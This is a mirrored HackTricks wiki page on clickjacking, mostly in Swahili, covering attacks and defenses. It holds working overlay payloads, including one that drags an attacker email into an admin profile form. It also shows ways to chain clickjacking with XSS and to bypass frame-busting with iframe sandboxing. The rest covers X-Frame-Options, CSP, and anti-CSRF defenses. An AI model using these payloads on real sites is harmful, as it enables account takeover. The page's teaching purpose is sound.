mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
202 lines
9.3 KiB
Markdown
202 lines
9.3 KiB
Markdown
# Clickjacking
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## What is Clickjacking
|
|
|
|
Katika shambulio la clickjacking, **mtumiaji** anachukuliwa **kudanganywa** ili **kubofya** **kipengele** kwenye ukurasa wa wavuti ambacho ni **bila kuonekana** au kimejificha kama kipengele kingine. Manipulasi hii inaweza kusababisha matokeo yasiyokusudiwa kwa mtumiaji, kama vile kupakua malware, kuelekezwa kwenye kurasa za wavuti zenye uharibifu, kutoa akreditif au taarifa nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
|
|
|
|
### Prepopulate forms trick
|
|
|
|
Wakati mwingine inawezekana **kujaza thamani ya maeneo ya fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa**. Mshambuliaji anaweza kutumia tabia hii kujaza fomu kwa data isiyo ya kawaida na kutuma payload ya clickjacking ili mtumiaji abofye kitufe cha Submit.
|
|
|
|
### Populate form with Drag\&Drop
|
|
|
|
Ikiwa unahitaji mtumiaji **ajaze fomu** lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe na au nenosiri maalum unalojua), unaweza tu kumwambia **Drag\&Drop** kitu ambacho kitaandika data yako unayodhibiti kama katika [**mfano huu**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Basic Payload
|
|
```css
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Multistep Payload
|
|
```css
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Drag\&Drop + Click payload
|
|
```css
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Ikiwa umepata **shambulio la XSS ambalo linahitaji mtumiaji kubonyeza** kwenye kipengele fulani ili **kuanzisha** XSS na ukurasa ni **hauna kinga dhidi ya clickjacking**, unaweza kutumia hii kudanganya mtumiaji kubonyeza kitufe/kiungo.\
|
|
Mfano:\
|
|
Umebaini **self XSS** katika maelezo ya kibinafsi ya akaunti (maelezo ambayo **ni wewe pekee unayeweza kuweka na kusoma**). Ukurasa wenye **fomu** ya kuweka maelezo haya ni **hauna kinga** dhidi ya **Clickjacking** na unaweza **kujaza** **fomu** kwa vigezo vya GET.\
|
|
Mshambuliaji anaweza kuandaa shambulio la **Clickjacking** kwa ukurasa huo **ukijaza** **fomu** kwa **XSS payload** na **kudanganya** **mtumiaji** ku **Tuma** fomu. Hivyo, **wakati fomu inatumwa** na thamani zimebadilishwa, **mtumiaji atatekeleza XSS**.
|
|
|
|
### DoubleClickjacking
|
|
|
|
Kwanza [ilielezwa katika chapisho hili](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), mbinu hii itamwomba mwathirika kubonyeza mara mbili kwenye kitufe cha ukurasa maalum kilichowekwa mahali fulani, na kutumia tofauti za wakati kati ya matukio ya mousedown na onclick ili kupakia ukurasa wa mwathirika wakati wa kubonyeza mara mbili ili **mwathirika kweli abonyeze kitufe halali kwenye ukurasa wa mwathirika**.
|
|
|
|
Mfano unaweza kuonekana katika video hii: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
|
|
|
Mfano wa msimbo unaweza kupatikana katika [ukurasa huu](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
|
|
|
> [!WARNING]
|
|
> Mbinu hii inaruhusu kudanganya mtumiaji kubonyeza mahali 1 kwenye ukurasa wa mwathirika ikipita kila ulinzi dhidi ya clickjacking. Hivyo mshambuliaji anahitaji kutafuta **vitendo nyeti ambavyo vinaweza kufanywa kwa kubonyeza 1 tu, kama vile maonyo ya OAuth yanayokubali ruhusa**.
|
|
|
|
## Mikakati ya Kupunguza Clickjacking
|
|
|
|
### Ulinzi wa Upande wa Mteja
|
|
|
|
Scripts zinazotekelezwa upande wa mteja zinaweza kufanya vitendo vya kuzuia Clickjacking:
|
|
|
|
- Kuhakikisha dirisha la programu ndilo dirisha kuu au la juu.
|
|
- Kufanya fremu zote ziwe wazi.
|
|
- Kuzuia bonyezo kwenye fremu zisizoonekana.
|
|
- Kugundua na kuonya watumiaji kuhusu majaribio ya Clickjacking yanayoweza kutokea.
|
|
|
|
Hata hivyo, hizi scripts za kuvunja fremu zinaweza kupuuziliwa mbali:
|
|
|
|
- **Mipangilio ya Usalama ya Kivinjari:** Baadhi ya vivinjari vinaweza kuzuia hizi scripts kulingana na mipangilio yao ya usalama au ukosefu wa msaada wa JavaScript.
|
|
- **HTML5 iframe `sandbox` Attribute:** Mshambuliaji anaweza kuondoa scripts za kuvunja fremu kwa kuweka sifa ya `sandbox` na thamani za `allow-forms` au `allow-scripts` bila `allow-top-navigation`. Hii inazuia iframe kuthibitisha ikiwa ni dirisha la juu, e.g.,
|
|
```html
|
|
<iframe
|
|
id="victim_website"
|
|
src="https://victim-website.com"
|
|
sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
|
|
|
|
### Server-Side Defenses
|
|
|
|
#### X-Frame-Options
|
|
|
|
The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
|
|
|
|
- `X-Frame-Options: deny` - Hakuna domain inayoweza kuweka maudhui kwenye fremu.
|
|
- `X-Frame-Options: sameorigin` - Tovuti ya sasa pekee inaweza kuweka maudhui kwenye fremu.
|
|
- `X-Frame-Options: allow-from https://trusted.com` - Ni 'uri' iliyoainishwa pekee inayoweza kuweka ukurasa kwenye fremu.
|
|
- Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda isifanye kazi. Kivinjari vingine hupendelea mwelekeo wa CSP frame-ancestors.
|
|
|
|
#### Content Security Policy (CSP) frame-ancestors directive
|
|
|
|
**`frame-ancestors` directive in CSP** ni njia inayopendekezwa kwa ulinzi wa Clickjacking:
|
|
|
|
- `frame-ancestors 'none'` - Inafanana na `X-Frame-Options: deny`.
|
|
- `frame-ancestors 'self'` - Inafanana na `X-Frame-Options: sameorigin`.
|
|
- `frame-ancestors trusted.com` - Inafanana na `X-Frame-Options: allow-from`.
|
|
|
|
Kwa mfano, CSP ifuatayo inaruhusu tu kuweka fremu kutoka kwenye domain ile ile:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Maelezo zaidi na mifano ngumu yanaweza kupatikana katika [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) na [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
|
|
|
|
### Content Security Policy (CSP) with `child-src` and `frame-src`
|
|
|
|
**Content Security Policy (CSP)** ni kipimo cha usalama kinachosaidia kuzuia Clickjacking na mashambulizi mengine ya kuingiza msimbo kwa kuainisha vyanzo gani kivinjari kinapaswa kuruhusu kupakia maudhui.
|
|
|
|
#### `frame-src` Directive
|
|
|
|
- Inaelezea vyanzo halali kwa ajili ya fremu.
|
|
- Ni maalum zaidi kuliko mwelekeo wa `default-src`.
|
|
```
|
|
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
|
```
|
|
Sera hii inaruhusu fremu kutoka chanzo sawa (mwenyewe) na https://trusted-website.com.
|
|
|
|
#### `child-src` Mwelekeo
|
|
|
|
- Imeanzishwa katika kiwango cha CSP 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
|
|
- Inafanya kazi kama akiba kwa frame-src na worker-src.
|
|
```
|
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
|
```
|
|
Sera hii inaruhusu fremu na wafanyakazi kutoka chanzo kimoja (mwenyewe) na https://trusted-website.com.
|
|
|
|
**Maelezo ya Matumizi:**
|
|
|
|
- Kuondolewa: child-src inatolewa polepole kwa ajili ya frame-src na worker-src.
|
|
- Tabia ya Kurejelea: Ikiwa frame-src haipo, child-src inatumika kama kurejelea kwa fremu. Ikiwa zote hazipo, default-src inatumika.
|
|
- Mwelekeo Mkali wa Chanzo: Jumuisha tu vyanzo vinavyotegemewa katika maagizo ili kuzuia unyakuzi.
|
|
|
|
#### Skripti za JavaScript za Kuvunja Fremu
|
|
|
|
Ingawa si salama kabisa, skripti za kuvunja fremu za msingi wa JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usiwe katika fremu. Mfano:
|
|
```javascript
|
|
if (top !== self) {
|
|
top.location = self.location
|
|
}
|
|
```
|
|
#### Kutumia Tokeni za Anti-CSRF
|
|
|
|
- **Uthibitishaji wa Tokeni:** Tumia tokeni za anti-CSRF katika programu za wavuti ili kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.
|
|
|
|
## Marejeleo
|
|
|
|
- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|